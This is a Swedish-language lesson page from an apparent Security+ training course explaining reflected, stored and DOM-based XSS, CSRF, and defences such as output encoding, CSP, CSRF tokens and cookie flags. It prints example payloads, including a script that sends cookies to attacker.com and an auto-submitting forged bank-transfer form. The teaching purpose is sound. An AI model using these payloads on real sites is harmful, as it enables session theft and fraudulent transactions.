Security+ Academy · Lektion

Cross-Site Scripting (XSS) och CSRF

Förstå reflekterad, lagrad och DOM-baserad XSS samt CSRF-attacker och de webbläsarbaserade skydd som blockerar dem.

Lektion 2 av 413 steg

Cross-Site Scripting (XSS) och CSRF är en gratis lektion i Security+ Academy på CoddyKit. Detta är lektion 2 av 4. Du kan läsa vilka 3 lektioner som helst i den här lärvägen kostnadsfritt i sin helhet – därefter låser CoddyKit PRO upp alla lektioner, plus praktisk övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Den ingår i lärvägen för Security+ Academy, och Era framsteg synkroniseras mellan webben och CoddyKit-appen. Kursen i Security+ Academy innehåller totalt 4 lektioner.

Vad är Cross-Site Scripting?

Cross-Site Scripting (XSS) är en klientbaserad injektionssårbarhet där en angripare injicerar skadliga skript i webbsidor som visas för andra användare. Till skillnad från SQL-injektion, som riktar sig mot servern, riktar sig XSS mot offrets webbläsare. När webbläsaren återger angriparens skript körs det med samma behörigheter som legitima skript på sidan, vilket möjliggör kapning av sessioner, stöld av autentiseringsuppgifter och distribution av skadlig kod.

Reflekterad XSS förklarad

Reflekterad XSS uppstår när ett skadligt skript bäddas in i en URL och servern omedelbart ”reflekterar” tillbaka det i HTTP-svaret utan korrekt kodning. Offret luras (ofta via en nätfiskelänk) att klicka på den manipulerade URL:en, vilket får webbläsaren att köra angriparens skript. Reflekterad XSS är inte beständig — den körs endast när offret klickar på den skadliga länken.

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

Lagrad XSS och DOM-baserad XSS

Lagrad (beständig) XSS bäddar in ett skadligt skript i applikationens databas — till exempel i en kommentar eller ett foruminlägg. Varje användare som visar innehållet får skriptet kört i sin webbläsare, vilket gör lagrad XSS betydligt farligare än reflekterad XSS. DOM-baserad XSS uppstår helt i webbläsaren när JavaScript på klientsidan läser angriparkontrollerade data från DOM:en (t.ex. URL-fragmentet) och osäkert skriver tillbaka dem till sidan.

XSS-försvar: kodning och CSP

Det primära försvaret mot XSS är kodning av utdata: konvertera specialtecken till motsvarande HTML-entiteter (&lt;, &gt;, &amp;) innan de återges i webbläsaren. En header med Content Security Policy (CSP) begränsar vilka skript som får köras och ger ett viktigt kompletterande försvar. Indatavalidering (allowlist) bör också tillämpas på serversidan.

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

Vad är Cross-Site Request Forgery?

Cross-Site Request Forgery (CSRF) utnyttjar det förtroende som en webbplats har för en autentiserad användares webbläsare. En angripare lurar offrets webbläsare att skicka en oönskad autentiserad begäran till en webbplats där offret är inloggat. Eftersom webbläsaren automatiskt bifogar sessionscookies tror målservern att begäran är legitim. Vanliga CSRF-attacker överför pengar, ändrar e-postadresser eller ändrar kontoinställningar.

Så fungerar en CSRF-attack

Föreställ dig att en användare är inloggad på sin bank på bank.com. En angripare skickar ett e-postmeddelande med en dold bildtagg: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. När e-postmeddelandet öppnas läser webbläsaren automatiskt in bildens URL och skickar överföringsbegäran med offrets banksessionscookie bifogad. Banken behandlar den som en legitim begäran.

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

CSRF-försvar: token och SameSite

Det effektivaste CSRF-försvaret är en CSRF-token — ett unikt och oförutsägbart värde som bäddas in i varje formulär och verifieras på serversidan. Eftersom angriparen inte kan läsa token från en annan origin (same-origin-principen) saknar förfalskade begäranden en giltig token och avvisas. Cookie-attributet SameSite (SameSite=Strict eller Lax) förhindrar också att webbläsare skickar cookies i begäranden mellan olika webbplatser.

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS jämfört med CSRF: viktiga skillnader

XSS och CSRF blandas ofta ihop, men riktar sig mot olika mål. XSS injicerar skadliga skript som körs i offrets webbläsare och utnyttjar användarens förtroende för webbplatsen. CSRF förfalskar begäranden från offrets webbläsare till en betrodd webbplats och utnyttjar webbplatsens förtroende för användarens webbläsare. XSS kan användas för att stjäla CSRF-token och på så sätt koppla samman de två sårbarheterna.

Cookieflaggorna HttpOnly och Secure

Cookieflaggor ger viktiga begränsningar av XSS. Flaggan HttpOnly förhindrar JavaScript från att komma åt cookien via document.cookie, vilket gör det svårare att stjäla sessionstoken även om XSS förekommer. Flaggan Secure säkerställer att cookies endast överförs via HTTPS och förhindrar avlyssning över okrypterade kanaler. Båda flaggorna bör anges för alla sessionscookies som en försvarsåtgärd i flera lager.

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

Testa XSS-sårbarheter

Säkerhetstestare identifierar XSS genom att injicera testpayloads i alla inmatningsfält, URL-parametrar, HTTP-headers och JSON-fält. Ett enkelt test är <script>alert(1)</script> — om en dialogruta visas är XSS bekräftad. Verktyg som Burp Suite automatiserar XSS-skanning, och OWASP ZAP erbjuder kostnadsfri aktiv skanning. DOM-baserad XSS kräver analys av JavaScript på klientsidan i stället för inspektion av serversvaret.

XSS-attackers konsekvenser i verkligheten

XSS-attacker har orsakat betydande skada i verkligheten. Samy-masken (2005) spreds över MySpace på 20 timmar genom att utnyttja lagrad XSS för att självspridas till över en miljon profiler. XSS-attacker kan stjäla sessionstoken för att kapa konton helt, omdirigera användare till nätfiskesidor, leverera webbläsarutnyttjanden (drive-by-nedladdningar) och ändra sidinnehåll så att riktade användare ser falsk information.

Snabbkontroll

Testa dina kunskaper om CompTIA Security+-begreppen (SY0-701) från den här lektionen.

Sammanfattning av lektionen

I den här lektionen lärde du dig att: XSS injicerar skript i sidor som visas för andra användare, CSRF lurar autentiserade webbläsare att skicka förfalskade begäranden och kodning av utdata, CSP, CSRF-token och cookie-attributet SameSite är de huvudsakliga försvaren. Härnäst går vi igenom bristande autentisering och osäker deserialisering.

Gratis att börja

Lär dig Security+ Academy med en AI-lärare – gratis

Skriv och kör riktig kod i webbläsaren, få omedelbar hjälp av en AI-lärare dygnet runt och fortsätt där du slutade – på webben eller i appen.

Kurser
30
Lektioner
120

Vanliga frågor

Är lektionen ”Cross-Site Scripting (XSS) och CSRF” gratis?

Ja – du kan läsa vilka 3 lektioner som helst i lärvägen Security+ Academy, inklusive ”Cross-Site Scripting (XSS) och CSRF”, kostnadsfritt i sin helhet här på webben. Därefter låser CoddyKit PRO upp alla lektioner, plus interaktiv övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Kursen i Security+ Academy innehåller totalt 4 lektioner.

Vad lär jag mig i ”Cross-Site Scripting (XSS) och CSRF”?

Förstå reflekterad, lagrad och DOM-baserad XSS samt CSRF-attacker och de webbläsarbaserade skydd som blockerar dem. Ni övar på Security+ Academy med praktisk kod som körs direkt i webbläsaren, medan en AI-handledare som är tillgänglig dygnet runt svarar på Era frågor under lektionen.

Behöver jag någon erfarenhet för att börja lära mig Security+ Academy?

Du behöver inga förkunskaper. Utbildningen i Security+ Academy på CoddyKit är upplagd för allt från nybörjare till avancerade elever, så att du kan börja här eller från början och gå fram i din egen takt. Detta är lektion 2 av 4.

Hur lång tid tar lektionen ”Cross-Site Scripting (XSS) och CSRF”?

De flesta CoddyKit-lektioner tar cirka 5–10 minuter. Varje lektion är kort och interaktiv, så att du gör stadiga framsteg och kan fortsätta precis där du slutade – på webben eller i appen.

Kan jag skriva och köra kod i den här Security+ Academy-lektionen?

Ja. Varje Security+ Academy-lektion innehåller en inbyggd kodredigerare, så att du kan skriva och köra riktig kod direkt i webbläsaren och få omedelbar AI-feedback – utan lokal installation.

Alla lektioner i den här kursen

  1. SQL-injektion och kommandoinjektion
  2. Cross-Site Scripting (XSS) och CSRF
  3. Bristande autentisering och osäker deserialisering
  4. Säker SDLC samt SAST- och DAST-verktyg
← Tillbaka till Security+ Academy